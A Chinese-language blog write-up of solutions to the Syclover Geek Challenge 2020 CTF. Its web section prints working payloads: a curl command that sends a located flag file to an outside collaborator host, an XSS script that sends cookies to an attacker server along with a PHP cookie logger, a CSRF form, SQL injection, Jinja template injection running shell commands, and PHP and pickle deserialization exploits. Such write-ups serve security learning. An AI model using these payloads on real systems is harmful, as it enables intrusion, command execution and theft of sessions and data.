三叶草极客大挑战2020 部分题目Writeup

Web

Welcome

打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码

  1. <?php
  2. error_reporting(0);
  3. if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
  4. header("HTTP/1.1 405 Method Not Allowed");
  5. exit();
  6. } else {
  7. if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
  8. show_source(__FILE__);
  9. }
  10. else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
  11. phpinfo(); // collect information from phpinfo!
  12. }
  13. }
  14. Payload:POST:roam1[]=1&roam2[]=2

去phpinfo查看内容,发现存在f1444aagggg.php页面,打开又没内容,再去报文看看,返回包报头看到flag,为SYC{w31c0m3_t0_5yc_r0@m_php1}

flagshop

一开始不知道怎么做,然后群里管理员说修复了BOT,以为是存储型XSS的考点,然后尝试了几种方法都没作用。然后就去休息了,回来后发现给了hint,说了是CSRF的考点,没接触过,百度学习了一下,上个链接:https://juejin.im/post/6844903689702866952,看了一下应该是从提交报告让BOT转账给我们。

先用Burp构造一个CSRF的Poc,这里需要补充一句:

让他发送提交的作用。这里构造好后要放在VPS上,这里谢谢m3w师傅提供!

  1. <html>
  2. <!-- CSRF PoC - generated by Burp Suite Professional -->
  3. <body>
  4. <script>history.pushState('', '', '/')</script>
  5. <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
  6. <input type="hidden" name="target" value="atao" />
  7. <input type="hidden" name="money" value="10000" />
  8. <input type="hidden" name="messages" value="xxx" />
  9. <input type="submit" value="Submit request" />
  10. </form>
  11. <script>document.forms[0].submit(); </script>
  12. </body>
  13. </html>

有个验证码需要md5加密,写个脚本

  1. #coding: utf-8
  2. import hashlib
  3. s = ''
  4. dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
  5. md5 = hashlib.md5(dic).hexdigest()
  6. for a in dic:
  7. for b in dic:
  8. for c in dic:
  9. for d in dic:
  10. t = str(a)+str(b)+str(c)+str(d)
  11. md5 = hashlib.md5(t).hexdigest()
  12. if md5[0:5] == 'b2156':
  13. print t
  14. print md5

提交的报告内容

  1. <script>
  2. new Image().src = 'Payload的网址';
  3. </script>

过一会儿就转钱过来了,然后购买flag即可,最后flag为SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}

朋友的学妹

打开后提示为查看源码,通过查看获得注释内容,上面还有使用base64解码的字样,即解码注释内容获得flag,为SYC{F1@_4s_h4Lpfullllll}

EZwww

根据提示存在备份文件,尝试发现为www.zip,获得一个假的flag和源码,源码如下

  1. <html>
  2. <head>
  3. <title>Lola's website1.0</title>
  4. </head>
  5. <body>
  6. <?php echo '<h1>welcome to my website</h1>'; ?>
  7. <?php echo '<p>i will never forget to backup my website......</p>'; ?>
  8. <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
  9. </body>
  10. </html>
  11. <?php
  12. $key1 = $_POST['a'];
  13. $key2 = base64_decode('c3ljbDB2ZXI=');
  14. if($key1 === $key2)
  15. {
  16. //this is a true flag
  17. echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
  18. }
  19. ?>

通过POST请求a变量然后比较base64解码内容获得flag,Payload:POST:a=sycl0ver,获得flag为SYC{Backup_1s_4_good_h4bit_l0l}

EZgit

通过提示知道是使用GitHack获得源文件,但是源文件打开后得到的是flag is toooo old!,根据题目提示应该是版本的问题,通过命令git log查看,发现存在另一个版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee进行对比,获得flag为SYC{I_l0ve_sycl0ver_l0l}

刘壮的黑页

进去后到最下面看到一段代码,GET请求传入username变量,POST请求传入passwd变量,两个变量分别等于admin和syclover获得flag

Payload:

GET:?username=admin

POST:passwd=syclover

flag为SYC{d0_y0u_k0nw_GET?}

我是大黑客

打开后看到存在.bak的文件,然后用蚁剑连接,根目录下存在flag,flag为SYC{1iuzHuang_yyd_G0d!}

ezbypass

打开后如下:

Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.

Note that a and b cannot be equal.

传一个a和b不相等且strcmp后置空,一个等于数组就可以绕过了

接着是:

OKOK,You got the first step.

Please POST a variable c that is not a number to make it equal to 123

传入c=123,但不是数字,应该是弱比较

Payload:GET:?a=x&b[];POST:c=123e

flag为SYC{php_4s_so_funny}

知X堂的php教程

存在一个目录穿梭和一个读取文件两个页面

分别查看了两个文件,目录穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令执行的漏洞。

但是不知道flag在哪里,但是可以使用find / -name flag配合``反引号带出flag文件的位置

Payload:http://47.94.239.194:8082/listdir.php?dirname=;curl -X POST -F xx=@`find / -name flag` http://aesuim9gty25alcdnjqwy4tj2a80wp.burpcollaborator.net

Myblog

题目给出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.

先找找与伪协议有关的内容,这里从url可以看出来,http://173.82.206.142:8006/index.php?page=home,后面home应该是存在漏洞的,是用伪协议进行读取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home

然后就是在登陆的地方获得一下源码,主要是验证的地方

admin/user.php(仅列出主要代码)

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. $logined = false;
  5. if (isset($_POST['username']) and isset($_POST['password'])){
  6. if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
  7. $logined = true;
  8. $_SESSION['status'] = $logined;
  9. }
  10. }
  11. if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
  12. echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
  13. die();
  14. }
  15. ?>

只需要验证对if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就可以登陆了,username很好实现,但是password和SESSION就不容易,但是置空的话就可以很轻易实现,完成登陆了。

接着从第二点提示可以看出,应该是文件上传的洞,找了一下发现只有上传头像的功能,那应该就是这里了,发现只能上传图片,最后解析成了图片,想到了文件包含,可以是用zip协议这类的,这里将php文件压缩后,更改后缀名,上传文件,然后访问?page=./路径+上传文件名%23压缩包中的文件名,即可。这里#一定要urlcode编码。

带恶人六撞

  1. ?id=1'
  2. 返回
  3. You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
  4. 判断存在sql报错注入
  5. 先尝试
  6. ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
  7. 返回
  8. hacker?
  9. 再试试别的报错函数,这里想到了上一届极客大挑战的extractvalue函数,这里用^进行连接
  10. ?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
  11. 返回
  12. XPATH syntax error: '~geek_sql'
  13. 然后查看表名
  14. ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
  15. 返回
  16. XPATH syntax error: '~blog,fllllag'
  17. 查看列名
  18. ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
  19. 返回
  20. XPATH syntax error: '~id,fllllllag'
  21. 查看fllllag表中的fllllllag列
  22. ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
  23. 返回
  24. XPATH syntax error: '~welcome_to_syclover,longlone_ne'
  25. 好像没有回显全部内容,应该是extractvalue函数存在回显长度,配合limit回显每一行的内容
  26. ?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
  27. 返回
  28. XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'

告白网站

打开后是一个留言网站,测试了一下只有留言功能,想到了XSS,不过存在过滤,手工测试了一下过滤了"."、"%"、"&"、"=",这个验证机制真是要人命,百度了一圈都没有结果。后来看到了JSfuck,这个好像就是为了防止xss中被waf过滤出现的。

  1. new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;

将上面的内容通过jsfuck加密,然后用<script></script>框起来,发送,过一会儿就可以看到flag了。

  1. IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}

本来是想用XSS平台做的,但是一直没成功,感觉是自己太菜了不会用,因为只会用上面给的代码,然后借了Firebasky师傅vps用写了个php,代码如下:

  1. <?php
  2. $cookie = $_GET['cookie'];
  3. $ip = getenv ('REMOTE_ADDR');
  4. $time = date('Y-m-d g:i:s');
  5. $fp = fopen("cookie.txt","a");
  6. fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
  7. fclose($fp);
  8. ?>

pop chain epic

源码如下:

  1. <?php
  2. class pop
  3. {
  4. public $aaa;
  5. public static $bbb = false;
  6. public function __wakeup()
  7. {
  8. //Do you know CVE?
  9. echo "The class pop should never be serialized.";
  10. $this->aaa = NULL;
  11. }
  12. public function __destruct()
  13. {
  14. for ($i=0; $i<2; $i++) {
  15. if (self::$bbb) {
  16. $this->aaa[1]($this->aaa[2]);
  17. } else {
  18. self::$bbb = call_user_func($this->aaa["object"]);
  19. }
  20. }
  21. }
  22. }
  23. class chain
  24. {
  25. private $AFKL;
  26. protected function getAFKL()
  27. {
  28. return $this->AFKL;
  29. }
  30. }
  31. class epic extends chain
  32. {
  33. public $aaa;
  34. public static $bbb = false;
  35. public function __invoke()
  36. {
  37. return self::$bbb;
  38. }
  39. public function __call($name, $params)
  40. {
  41. return $this->aaa->$name($params);
  42. }
  43. }
  44. if (isset($_GET["code"])) {
  45. unserialize(base64_decode($_GET["code"]));
  46. } else {
  47. highlight_file(__FILE__);
  48. }

很有趣的一道题目,被带着一直走,思路没对,一直以为要和下面那个继承类的东西合在一起,然后输出AFKL的值,一开始看到__invoke()魔术方法,感觉很开心,然后测试后发现不行,因为epic类中的bbb也是静态的false,所以调用函数后,pop类中的bbb还是false,所以这里应该是要调用函数,然后取执行$this->aaa[1]($this->aaa[2]),这个也可以从for循环中看出来,因为for循环只做两次,说明第一次去了回调函数,第二次应该不是去回调函数了。有了接下来的一段php代码

  1. <?php
  2. class pop
  3. {
  4. public $aaa;
  5. public static $bbb = false;
  6. }
  7. class chain
  8. {
  9. private $AFKL;
  10. protected function getAFKL()
  11. {
  12. return $this->AFKL;
  13. }
  14. }
  15. class epic extends chain
  16. {
  17. public $aaa;
  18. public static $bbb = false;
  19. }
  20. $a = new pop();
  21. $a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL');
  22. object(pop)#1 (2) {
  23. ["aaa"]=>
  24. NULL
  25. [""]=>
  26. array(3) {
  27. ["object"]=>
  28. string(7) "phpinfo"
  29. [1]=>
  30. string(4) "echo"
  31. [2]=>
  32. string(7) "getAFKL"
  33. }
  34. }

这段代码存在一个最致命的错误,就是$a->$aaa,这个本来是想对aaa变量进行赋值的,但是前面写了$,所以这里出来的类会存在两个变量,然后因为我一直没看类的亚子,所以这里卡成一个傻逼。不过以后也要记住对于类中的变量的赋值!!!

  1. <?php
  2. error_reporting(0);
  3. class pop
  4. {
  5. public $aaa;
  6. public static $bbb = false;
  7. }
  8. $a = new pop();
  9. $a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag');
  10. echo base64_encode(str_replace(":1:",":2:",serialize($a)));

X迪的pyp语言

​ 打开网站后是一个登陆框,查看一下源码发现了,访问后获得了网站的源码,如下:

  1. import re
  2. from flask import Flask, render_template_string, request
  3. import templates.templates as tp
  4. app = Flask(__name__)
  5. def isParamLegal(param):
  6. return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None)
  7. @app.route('/')
  8. @app.route('/index.php')
  9. def main():
  10. indexTp = tp.head + tp.index + tp.foot
  11. return render_template_string(indexTp)
  12. @app.route('/login.php', methods=["POST"])
  13. def login():
  14. username = request.form.get('username')
  15. password = request.form.get('password')
  16. if(isParamLegal(username) and isParamLegal(password)):
  17. message = "Username:" + username + "&" + "Password:" + password
  18. else:
  19. message = "参数不合法"
  20. loginTmpTp = tp.head + tp.login + tp.foot
  21. loginTp = loginTmpTp % message
  22. return render_template_string(loginTp)
  23. @app.route("/hint.php")
  24. def hint():
  25. with open(__file__, "rb") as f:
  26. file = f.read()
  27. return file
  28. if __name__ == '__main__':
  29. app.run(host="0.0.0.0")

考点知道了是SSTI,但是需要构造,不过存在一个自定义函数,对于单个username或者password进行了限制,不能单个构造出{{ }}或者{% %}这样的内容,但是通过观察,从message下手依旧是可以的,将"{{"和"}}"分别给username和password变量。构造如下:

  1. username = "{{'"
  2. password = "'.__class__}}"
  3. message = "Username:" + username + "&" + "Password:" + password
  4. print message
  5. #返回
  6. Username:{{'&Password:'.__class__}}
  7. #在网站上测试返回
  8. Username:<class 'str'>
  9. #由于没啥过滤很容就可以获得flag了
  10. Payload:
  11. username={{'
  12. password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}

Longlone_Secret1

​ 访问网址,没看出来有啥内容,F12查看源码获得:,GET请求传入name变量后获得源码,如下

  1. from flask import Flask, request
  2. import base64
  3. import pickle
  4. import io
  5. import sys
  6. import secret
  7. app = Flask(__name__)
  8. class YourSecret:
  9. def __init__(self, name):
  10. self.name = name
  11. class RestrictedUnpickler(pickle.Unpickler):
  12. def find_class(self, module, name):
  13. if module == '__main__': #只允许__main__模块(白名单)
  14. return getattr(sys.modules['__main__'], name) #返回对象属性值
  15. raise pickle.UnpicklingError(
  16. "global '%s.%s' is forbidden" % (module, name))
  17. def restricted_loads(s):
  18. """Helper function analogous to pickle.loads()."""
  19. return RestrictedUnpickler(io.BytesIO(s)).load()
  20. @app.route('/')
  21. def start():
  22. if request.args.get('name'):
  23. text = open(__file__, 'r', encoding='utf-8').read()
  24. return text
  25. else:
  26. return "我之前听说Longlone深藏着一个秘密,但是今天他居然跟我说他把这个秘密藏在了一个地方,如果我可以找到的话,他就会给我一些奖励。<br>"\
  27. "<br>但是他和我说要按他说的规矩来:必须凑够两个人才能开始游戏,那么,你愿意和我一起来吗?<br>"\
  28. "<br>你说你愿意?那真的太好了,那么,在开始之前,告诉我你的名字吧!<br>"\
  29. "<!-- Let me GET your name, so we can get started. -->"\
  30. @app.route('/secret', methods=['GET', 'POST'])
  31. def eql():
  32. if request.method == 'POST': #POST请求才可以继续做
  33. try:
  34. data = base64.b64decode(request.form.get('secret')) #传入的secret变量进行base64解码
  35. if b'R' in data: #opcode代码中不能存在"R"字符,opcode中经常使用通过R指令码进行命令执行
  36. return "嗯?还想开挂?小心把你关进神仙服!"
  37. else:
  38. ser_data = restricted_loads(data) #进行pickle.loads反序列化
  39. if type(ser_data) is not YourSecret: #反序列化后的ser_data应该要属于YourSecret类
  40. return 'Are U sure this is longlone\'s secret?'
  41. if ser_data.name == YourSecret(secret.name).name: #这里需要反序列化中的name等于secret类中的name值
  42. return secret.flag #即可获得flag
  43. else:
  44. return 'The secret is incorrect!'
  45. except Exception as e:
  46. return repr(e) + '<br/>What do U want to do?'
  47. else:
  48. return "相信你也看到Longlone给我们的提示了,那么你能猜出他的秘密是什么吗?<br>"
  49. if __name__ == '__main__':
  50. app.run(host='0.0.0.0', port=5000)

​ 重点代码是/secret路由,分析写在上面了,这里能想到的方式有两种:1)变量赋值,即在传入反序列化字符串时,就让name=secret.name,但是这里多加了一个限制,修改了pickle.Unpickler.find_class()这个函数,使得我们要调用secret.name时会报错:_pickle.UnpicklingError: global 'secret.name' is forbidden,所以这里使用不了这个方法;2)变量覆盖,通过GLOBAL指令引入的变量,可以看作是原变量的引用。当在栈上修改它的值时,也会导致原变量也被修改,这里这主要就是利用了这个方法,原理的话之后会有一篇文章专门总结的。

  1. Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu
  2. 转成opcode编码
  3. \x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub.
  4. 简单的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb."
  5. 使用的方式是变量覆盖,RestrictedUnpickler.find_class方法可以返回对象属性值,其中操作符c可以调用该方法,则有了c__main__\nsecret\n;模块__dict__属性是可以进行修改的,构造一个字典来修改对应键为什么值,构造通过}(S'name'\nS'xxx'\nu完成,然后使用b指令修改__dict__;最后使用0指令将它弹出栈;后接一个YouSecret类转成opcode字符串即可。

Cry

二战情报员刘壮

使用的是摩斯电码,flag为SYC{L1UZHU4NGIZ1Y1}

铠甲与萨满

使用的是凯撒密码,flag为SYC{liuzhuangliuzhuang_bangbangbang}

Misc

一“页”障目

将海报上的字符拼起来即可

壮言壮语

看到了佛曰,为与佛论禅,通过在线网站解码http://www.keyfc.net/bbs/tools/tudoucode.aspx,获得flag为SYC{i_l0ve_Japanese_wife}

Re

No RE no gain

使用IDA打开后,在main函数(不用F5伪代码)中直接看到flag

我真不会写驱动!

应该是非预期了,IDA打开后在sub_140001010函数直接看到flag,flag为SYC{First_Win64_DRIVER}

re00

题目提示了简单的异或,先看看主函数有没有东西,发现了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),异或的点找到了,然后根据上面的内容buf[i]是输入的字符串,所以要去看byte_4060[i]的内容,查看byte_4060获得下面的内容

  1. char byte_4060[32]
  2. .data:0000000000004060 byte_4060 db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh
  3. .data:0000000000004060 ; DATA XREF: main+93o
  4. .data:0000000000004060 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)
  5. .data:0000000000004060 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h
  6. //n dup(m)的意思为n个m

将内容和0x44异或获得flag,脚本如下

  1. a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39]
  2. b = 0x44
  3. flag = ''
  4. for i in a:
  5. flag =flag + chr(i ^ b)
  6. print flag

flag为SYC{simple_simple_xorrr_right??}

PWN

数学咋样?

先用nc连接看看,看到如下

  1. ------------------------------------------
  2. Can you help me to solve my math problem?
  3. ------------------------------------------
  4. I have 20 tests
  5. ![0] num_1 = 180, num_2 = 428
  6. I can't calculate the expression 'num_1 + num_2'.
  7. input your answer:

是一个加法,要循环20次就可以获得flag了,这里可以直接计算20次加法,也可以使用脚本,按照提示应该是要用脚本的。刚好上半年学了一点Pwn,这里用一下。脚本如下

  1. import re
  2. from pwn import *
  3. p = remote('81.69.0.47',1111)
  4. p.recvline()
  5. p.recvline()
  6. p.recvline()
  7. for i in range(0,20):
  8. put1 = p.recvline()
  9. put = p.recvline()
  10. calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','')
  11. calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','')
  12. #print calc1
  13. #print calc2
  14. s = str(eval(calc1+'+'+calc2))
  15. #print s
  16. p.recvline()
  17. put2 = p.recvn(18)
  18. p.sendline(s)
  19. while True:
  20. strr = p.recvline()
  21. print strr
  22. if "SYC" in strr:
  23. break
  1. Pwntools库的一些常用函数
  2. 本地打开:p=process('./filename')
  3. 远程打开:p=remote('ip地址',端口)
  4. 发送payload
  5. 1p.send(payload)发生payload
  6. 2p.sendline(payload)发送payload,并进行换行(末尾\n
  7. 3p.sendfter(some_string,payload)接收到some_string后,发送你的payload
  8. 接收返回内容
  9. 4p.recvn(N)接受N个字符
  10. 5p.recvline()接收一行输出
  11. 6p.recvline(N)接收N行输出
  12. 7p.recvuntil(some_string)接收到some_string为止

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/14023017.html

三叶草极客大挑战2020 部分题目Writeup的更多相关文章

  1. 2020极客大挑战Web题

    前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...

  2. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  3. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  4. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  5. buucitf-[极客大挑战 2020]Roamphp1-Welcome

    打开靶机,发现什么也没有,因为极客大挑战有hint.txt,里面说尝试换一种请求的方式,bp抓包,然后发送了POST请求,出现了下面的界面 这个还是挺简单的,因为是极客大挑战上的第一波题,关键是这个如 ...

  6. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  7. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  8. SYC极客大挑战部分题目writeup

    Welcome 复制黏贴flag即可 我相信你正在与我相遇的路上马不停蹄 关注微信工作号回复"我要flag"即可获得flag 代号为geek的行动第一幕:毒雾初现 发现flag为摩 ...

  9. 第九届极客大挑战 部分WP

    CODE 和0xpoker分0day 百度 取石子游戏. https://blog.csdn.net/qq_33765907/article/details/51174524 已经说得很详细了,慢慢来 ...

随机推荐

  1. nginx优化:使用expires在浏览器端缓存静态文件

    一,nginx中expires指令的作用 网站的图片等静态文件一旦发布,通常很少改动, 为了减小对服务器请求的压力,提高用户浏览速度, 我们可以设置nginx中的expires, 使用户访问一次后,将 ...

  2. 【Azure 批处理 Azure Batch】在Azure Batch中如何通过开始任务自动安装第三方依赖的一些软件(Windows环境)

    准备条件 Azure Batch账号 需要安装的软件包(zip)文件,里面包含该软件的msi安装文件, 此处使用python.msi 版本 3.3.3 作为例子(https://www.python. ...

  3. 缩略图调查——抖音客户端/PC/iphone

    最近对抖音有点上瘾,经常看到这样的视频列表: 由于抖音平台的限制,用户最多只能上传60s的视频,因此分段为3个视频.而在视频列表的缩略图模式下,三个视频的封面恰好组合成一张图像.这种方式比较符合审美标 ...

  4. 56.Qt-滚动字幕之无间隙滚动(原创)

    1.描述 最近要实现一个滚动条字幕,但是搜到的系列文章都是利用定时器QTimer,在固定的时间截取文本并显示,这样滚动的时候其实是断断续续的,因为实际上是一个个字符位移实现的,不过实现方便. 所以只有 ...

  5. WSL2和CUDA踩坑

    WSL2和CUDA踩坑   WSL2里可以直接跑cuda了, 目前(2020年10月) 功能可用, 但bug很多, 不够完善     1. 安装     主要参考: https://docs.nvid ...

  6. 【Azure Developer】使用.Net Core解析JSON的笔记

    在C#中解析JSON的一些历史代码记录,分别记录针对各种情况的解析方式. DLL的引用 using Newtonsoft.Json; using Newtonsoft.Json.Linq; 需要使用的 ...

  7. 标签平滑(Label Smoothing)详解

    什么是label smoothing? 标签平滑(Label smoothing),像L1.L2和dropout一样,是机器学习领域的一种正则化方法,通常用于分类问题,目的是防止模型在训练时过于自信地 ...

  8. 一款强大的双色球走势图,助你500W梦想,js+mvc+html

    序言 估计每个人都有中500W的梦想,我关注双色球也有一定年数了,可最多中也只有10块钱,这已经算是最大的奖,最近闲来无事,研究下怎么去开发双色球的走势图,觉得还是蛮有意思的,用MVC+JS+HTMl ...

  9. yython爬虫基础知识入门

    Python爬虫 关注公众号"轻松学编程"了解更多. 大纲: 1.获取响应 urllib(python3)/urllib2-urllib(python2) requests(url ...

  10. JS中this的指向性问题

    一.this用于访问当前方法所属的对象,谁调用的方法,方法就属于谁 // 普通函数 let obj = { a : 12, fn() { console.log(this == obj); // tr ...